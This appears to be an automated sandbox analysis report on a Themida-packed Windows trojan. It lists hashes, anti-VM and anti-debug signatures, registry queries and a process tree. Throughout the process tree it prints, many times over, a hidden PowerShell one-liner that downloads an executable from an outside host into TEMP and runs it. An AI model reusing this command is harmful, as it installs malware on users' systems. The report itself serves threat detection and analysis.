e8a79be184da02e63e22ff543e5c72f56eec0ba0c693b8a963c42ccb56eec2c8

Analysis

user interaction
yes
max time kernel
900s
max time network
522s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/09/2026, 15:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
smd pussy fk by xtrex.exe
Size 54.8MB
Sample260916-srvxessckb
SHA256 e8a79be184da02e63e22ff543e5c72f56eec0ba0c693b8a963c42ccb56eec2c8
MD5 1d55bd041bc5da07799550665390a8a6
SHA1 9ee41b2a03dc4c52ff09a062d6e5d7d726f17013
SHA512 157a4e5500333cdd5827325737925e917c799f01463b2bdf7262ec5011f2007eb547a6f59dae28bfa6575f48e19ab1a3bdcb9d5780ec06cb57a691b040173036
SSDEEP 1572864:Ks/Mc7YZO5CTW3/kvVgxGx38lybliD4s:saDBPOI28Dn
TLSH
T155C723C756F693D8C4D31A641ACF12CB51C1B57AC1E9CA6E2EC35C032520DEB898E9B7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	sckmd_loader.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	sckmd_loader.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	sckmd_loader.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3680	powershell.exe
5088	powershell.exe
4372	powershell.exe
1820	powershell.exe
512	powershell.exe
4916	powershell.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	sckmd_loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	sckmd_loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	sckmd_loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	sckmd_loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	sckmd_loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	sckmd_loader.exe

Executes dropped EXE 3 IoCs

pid	Process
2700	sckmd_loader.exe
1764	sckmd_loader.exe
1308	sckmd_loader.exe

Loads dropped DLL 3 IoCs

pid	Process
2700	sckmd_loader.exe
1764	sckmd_loader.exe
1308	sckmd_loader.exe

Themida packer 59 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x0007000000024455-22.dat	themida
behavioral1/memory/2700-23-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/2700-24-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/2700-25-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/2700-38-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/2700-39-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/2700-45-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/2700-53-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1764-77-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1764-78-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1764-79-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1764-80-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1764-104-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1764-110-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1764-111-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1764-118-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1764-119-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1764-120-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1764-122-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-149-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-148-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-147-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-151-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-161-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-162-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-168-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-178-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-179-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-180-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-181-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-182-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-183-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-184-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-185-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-186-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-187-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-188-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-189-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-190-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-191-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-192-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-193-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-194-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-195-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-196-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-197-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-198-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-199-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-200-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-201-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-202-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-203-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-204-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-205-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-206-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-207-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-208-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-209-0x0000000180000000-0x0000000181841000-memory.dmp	themida
behavioral1/memory/1308-210-0x0000000180000000-0x0000000181841000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 3 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	sckmd_loader.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	sckmd_loader.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	sckmd_loader.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
2700	sckmd_loader.exe
1764	sckmd_loader.exe
1308	sckmd_loader.exe

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3976	cmd.exe
3964	cmd.exe
3524	cmd.exe
4848	cmd.exe
4944	cmd.exe
3604	cmd.exe
4924	cmd.exe
1480	cmd.exe
2544	cmd.exe
1824	cmd.exe
2080	cmd.exe
3824	cmd.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Modifies registry class 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\1	taskmgr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 0100000000000000ffffffff	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	taskmgr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\1\0	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\1\0\0	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	taskmgr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	taskmgr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	taskmgr.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3680	powershell.exe
3680	powershell.exe
5088	powershell.exe
5088	powershell.exe
2700	sckmd_loader.exe
2700	sckmd_loader.exe
4372	powershell.exe
4372	powershell.exe
4676	taskmgr.exe
4676	taskmgr.exe
1820	powershell.exe
1820	powershell.exe
1820	powershell.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
1764	sckmd_loader.exe
1764	sckmd_loader.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4676	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	5088	powershell.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeDebugPrivilege	4676	taskmgr.exe
Token: SeSystemProfilePrivilege	4676	taskmgr.exe
Token: SeCreateGlobalPrivilege	4676	taskmgr.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	512	powershell.exe
Token: SeDebugPrivilege	4916	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe
4676	taskmgr.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4064 wrote to memory of 3604	4064	smd pussy fk by xtrex.exe	86
PID 3604 wrote to memory of 4924	3604	cmd.exe	89
PID 4924 wrote to memory of 3680	4924	cmd.exe	91
PID 4064 wrote to memory of 2700	4064	smd pussy fk by xtrex.exe	93
PID 2700 wrote to memory of 3824	2700	sckmd_loader.exe	96
PID 3824 wrote to memory of 1480	3824	cmd.exe	97
PID 1480 wrote to memory of 5088	1480	cmd.exe	99
PID 536 wrote to memory of 3976	536	smd pussy fk by xtrex.exe	110
PID 3976 wrote to memory of 3964	3976	cmd.exe	112
PID 3964 wrote to memory of 4372	3964	cmd.exe	114
PID 536 wrote to memory of 1764	536	smd pussy fk by xtrex.exe	115
PID 1764 wrote to memory of 2544	1764	sckmd_loader.exe	117
PID 2544 wrote to memory of 3524	2544	cmd.exe	119
PID 3524 wrote to memory of 1820	3524	cmd.exe	121
PID 2380 wrote to memory of 1824	2380	smd pussy fk by xtrex.exe	124
PID 1824 wrote to memory of 4848	1824	cmd.exe	126
PID 2380 wrote to memory of 1308	2380	smd pussy fk by xtrex.exe	128
PID 4848 wrote to memory of 512	4848	cmd.exe	130
PID 1308 wrote to memory of 2080	1308	sckmd_loader.exe	131
PID 2080 wrote to memory of 4944	2080	cmd.exe	132
PID 4944 wrote to memory of 4916	4944	cmd.exe	134

C:\Users\Admin\AppData\Local\Temp\smd pussy fk by xtrex.exe
"C:\Users\Admin\AppData\Local\Temp\smd pussy fk by xtrex.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3604
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4924
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3680
- C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\f62bb9bba965c7f2\sckmd_loader.exe
  "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\f62bb9bba965c7f2\sckmd_loader.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3824
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1480
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5088

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4716

C:\Users\Admin\AppData\Local\Temp\smd pussy fk by xtrex.exe
"C:\Users\Admin\AppData\Local\Temp\smd pussy fk by xtrex.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4372
- C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\f127e112144c2785\sckmd_loader.exe
  "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\f127e112144c2785\sckmd_loader.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3524
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1820

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4676

C:\Users\Admin\AppData\Local\Temp\smd pussy fk by xtrex.exe
"C:\Users\Admin\AppData\Local\Temp\smd pussy fk by xtrex.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1824
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:512
- C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\45295a1e7359a869\sckmd_loader.exe
  "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\45295a1e7359a869\sckmd_loader.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2080
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4944
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
